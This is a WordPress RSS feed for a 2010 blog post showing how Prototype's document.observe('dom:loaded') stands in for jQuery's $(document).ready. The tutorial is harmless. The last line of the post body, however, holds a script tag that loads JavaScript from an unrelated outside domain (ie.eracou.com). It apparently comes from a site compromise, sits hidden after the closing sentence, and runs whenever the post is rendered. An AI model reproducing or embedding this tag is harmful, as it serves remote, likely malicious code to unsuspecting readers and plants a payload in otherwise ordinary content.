<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; javascript</title>
	<atom:link href="http://jboxer.com/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Prototype analog to jQuery&#8217;s $(document).ready</title>
		<link>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/</link>
		<comments>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/#comments</comments>
		<pubDate>Sat, 23 Jan 2010 23:18:00 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[document.ready]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[prototype]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=304</guid>
		<description><![CDATA[I have a lot of experience with jQuery, but less with Prototype. Recently, I needed to add some event handlers to some elements in a Ruby on Rails app I&#8217;m building. I searched for how to do the equivalent of jQuery&#8217;s $(document).ready() function in Prototype so that I could add the handlers after the document [...]]]></description>
			<content:encoded><![CDATA[<p>I have a lot of experience with jQuery, but less with Prototype. Recently, I needed to add some event handlers to some elements in a Ruby on Rails app I&#8217;m building. I searched for how to do the equivalent of jQuery&#8217;s <code>$(document).ready()</code> function in Prototype so that I could add the handlers after the document loaded, but most of the guides I found were out of date (I&#8217;m running Prototype 1.6.0.3, and I don&#8217;t know which version these guides were for, but they all made my Javascript console angry).</p>
<p>Eventually, I was able to piece it together after digging through <a href="http://api.prototypejs.org/dom/document.html#observe-class_method">the</a> <a href="http://api.prototypejs.org/dom/event.html#observe-class_method">depths</a> of the Prototype API documentation. It&#8217;s actually very simple:</p>
<pre class="brush: jscript;">
document.observe('dom:loaded', function(){
	// do yo thang...
});
</pre>
<p>Wrap whatever you&#8217;re doing with that, and it won&#8217;t be run until the document is loaded.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
